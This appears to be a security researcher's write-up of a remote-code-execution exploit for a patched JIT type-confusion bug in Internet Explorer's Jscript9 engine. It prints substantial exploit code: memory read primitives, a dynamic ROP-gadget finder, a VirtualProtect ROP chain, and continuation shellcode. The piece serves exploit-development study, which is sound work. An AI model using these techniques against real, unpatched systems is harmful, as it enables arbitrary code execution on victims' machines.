December 29th, 2021 – Alisa Esage
This is a brief writeup for the exploit that I wrote for a JavaScript JIT Type Confusion vulnerability in Jscript9.dll some time ago.
I show one classical technique of exploiting type confusion vulnerabilities in JavaScript engines. The exploit features a fully dynamic ASLR bypass, plus state-of-the-art process continuation to avoid crash. No heap spray is used, the exploit works by precise control over program state and atomic placement of shellcode. Impact is arbitrary remote code execution. The exploit is not weaponized, and published for educational purposes.
exploit.html: release version of the exploit. demo.mp4: video demonstration. debug/: special versions of the code with debugging helpers and comments.
The bug was patched in 2017, it's a type confusion in Microsoft Jscript9 JavaScript engine code due to JIT optimization, where an object may be wrongly treated as a memory address or the other way around.
I follow a systematical engineering process in my exploit code. I first define basic primitives on top of the appropriate memory corruption vulnerability, such as write() and read() arbitrary memory. After that I define next order (but still low-level) primitives, such as getObjectAt() and getAddrOf(). After that I define high-level exploit primitives, such as getStack() and bypassASLR(). With all that in place, the exploit main function is three lines of code.
Sample of high-level exploit API with debug comments:
function getStack() {
let type = read32( getAddrOf([{}]) + 4)
log("Type: 0x" + type.toString(16))
let javascriptLibrary = read32(type + 4)
log("JavascriptLibrary: 0x" + javascriptLibrary.toString(16))
let scriptContext = read32(javascriptLibrary + 0x21c)
log("ScriptContext: 0x" + scriptContext.toString(16))
let threadContext = read32(scriptContext + 0x250) // find this and above offsets in eg. js::GlobalObject::EntryParseInt
log("ThreadContext: 0x" + threadContext.toString(16)) // (anyone who calls ThreadContext::IsStackAvailable)
let stackLimit = read32(threadContext + 0x18) // find offset in ThreadContext::IsStackAvailable
log("StackLimitForCurrentThread: 0x" + stackLimit.toString(16))
let stackBottom = stackLimit - 0xc000 + 2*1024*1024 - 4
log("Stack bottom: 0x" + stackBottom.toString(16))
return stackBottom
}
The shellcode that you provide in main function is drop-in templated: all the necessary CoE and VirtualProtect sub-shellcodes are defined in the primitives.
Due to systematical design, the exploit showed to be easy to maintain (while I was initially relying on fixed binary offsets and no dynamic ASLR bypass), and 100% stable across some dozen versions of target software.
In the final version of the exploit code I locate ROP gadgets dynamically to remove dependency on fixed binary offsets. That has made the exploit 100% future-proof for as long as I tested (around one year of target software updates).
I extend Uint8Array array prototype with a special function named findSignature:
Uint8Array.prototype.findSignature = function( signature ) {
function check( element, index, ary ) {
if ( element != signature[0] ) return false;
for ( var i = 0; i < signature.length; i++ ) {
if ( signature[i] == undefined ) continue;
if ( ary[index+i] != signature[i] ) return false;
}
return true;
}
return this.findIndex(check)
}
Then you find ROP gadgets like so:
jscript9.ret = jscript9.findSignature([0x89, 0x45, 0xec, 0x85, 0xc0, 0x78, 0x1c, 0x8b, 0x45, 0x08, 0x85, 0xc0, 0x74, 0x15, 0x8b, 0x4e, 0x10])
if ( jscript9.ret == -1 ) return undefined
jscript9.gadget1 = jscript9.findSignature([0x5f, 0x5e, 0xc3])
if ( jscript9.gadget1 == -1 ) return undefined
jscript9.gadget2 = jscript9.findSignature([0xff, 0x75, 0x14, 0x57, 0x56, 0xff, 0x15, ,,,, 0x5f, 0x5e, 0x5b, 0x8b, 0xe5, 0x5d, 0xc2, 0x18])
if ( jscript9.gadget2 == -1 ) return undefined
Works like a charm (I actually tweeted this technique a few years ago) and no, I do NOT recommend to omit semi-colons when coding in script programming languages.
My exploit design abstracts away several low-level shellcode stages that are mostly irrelevant to the functional payload. Weird program state control starts with some ROP gadgets on the stack. Your shellcode (the functional payload) is stage 2 (you pass it to the exploit function). Stage 1 shellcode handles a call to VirtualProtect() to make some writeable memory for the functional shellcode. Stage 3 shellcode handles process continuation. Here is a sample with debugging comments:
let stage1 = new Uint32Array([
// = original esp
jscript9.base + jscript9.gadget1, // pop edi; pop esi; retn
3, 2, 1, 0, // ScriptSite::Execute said retn 10h
// arguments...
0x1000, // size
stage2_3.addr, // lpAddress
jscript9.base + jscript9.gadget2, // push args; call VirtualProtect()
// pushed arguments frame in VirtualProtect:
// stage2_3,
// 0x1000,
// 0x40,
stage2_3.addr + stage2_3.length - 4, // dwOldProtect pointer
// = esp on returned from VirtualProtect (ret 10h)
1, 2, 3, 4, 5, 6, // mov esp, ebp in ::ProtectPages will eat this
0, 1, 0, 1, 0, 1,
0, 1, 0, 1, 0, 1,
0, 1, 0, 1, 0, 1,
// = original ebp
1, // pop ebp
stage2_3.addr, // return to shellcode (ret 18h in ::ProtectPages)
// ...CoE filler (ret 18h)
0, 0, 0,
0x40, // ebp+14h PAGE_EXECUTE_READWRITE
0, 0
]);
stage1.addr = read32( getAddrOf(stage1) + 8*4 )
dump("stage1", stage1)
Process continuation code is not trivial. I reverse-engineered the target software binary to figure out how to fixup the registers and the stack that were destroyed by the exploit. CoE shellcode is crafted from scratch.
let stage3 = new Uint8Array([
0x31, 0xc0, // xor eax, eax
0xb9, 0, 0, 0, 0, // mov ecx, coe4.length
0xbe, 0, 0, 0, 0, // mov esi, coe4.buffer
0xbf, 0, 0, 0, 0, // mov edi, retPtr
0x8b, 0xe7, // mov esp, edi
0xf3, 0xa5, // rep movsd
0x8b, 0xec, // mov ebp, esp
0x81, 0xc5, 0x84, 0, 0, 0, // add ebp, 84h
0xbe, 0, 0, 0, 0, // mov esi, *(retPtr + f0h)
0xc2, 0x10, 0, // ret 10h
0x9f, 0x9f, 0x9f, 0x9f // placeholder
]);
stage3.addr = read32( getAddrOf(stage3) + 8*4 );
dump("stage3", stage3)
let stage2_3 = new Uint8Array(stage2.length + stage3.length)
stage2_3.addr = read32( getAddrOf(stage2_3) + 8*4 );
dump("stage2_3", stage2_3)
log("Shellcode + CoE: 0x" + stage2_3.addr.toString(16))
... arbitrary payload placement ...
// fixup continuation:
write32(retPtr + 4*4, 0x48 + coe4.addr)
write32(stage3.addr + 3, stage1.length)
write32(stage3.addr + 8, coe4.addr)
write32(stage3.addr + 13, retPtr)
write32(stage3.addr + 30, read32( retPtr + 0xf0 ));
stage2_3.set(stage2, 0)
stage2_3.set(stage3, stage2.length)
dump("final shellcode", stage2_3)
// ready
One known limitation of my CoE code it relies on static register allocation by compiler, something that I verified empirically works for the target software, but is not theoretically guaranteed to work in all future versions of the target binary.
I include four debug versions of the code to facilitate learning, in debug/ directory. Each version of debug code is a snapshot of one specific stage of advanced exploit engineering.
We start with a simple testcase that clearly shows the vulnerability with a proof of concept of: a) CPU register control with arbitrary memory read, that causes an access violation (test-crash.html) and b) leaking some heap memory (test-leak.html). Note: I skip RCE PoC because the bug class is well known to offer that. Next we begin to write the exploit, aiming first for a basic arbitrary code execution, then solving process continuation, and finally removing all dependency on fixed binary offsets in the exploit to make it future-proof.
Version goals: 0.1: RCE 0.2 and 0.3: process continuation 0.4: dynamic ASLR bypass.
P.S. Browsers!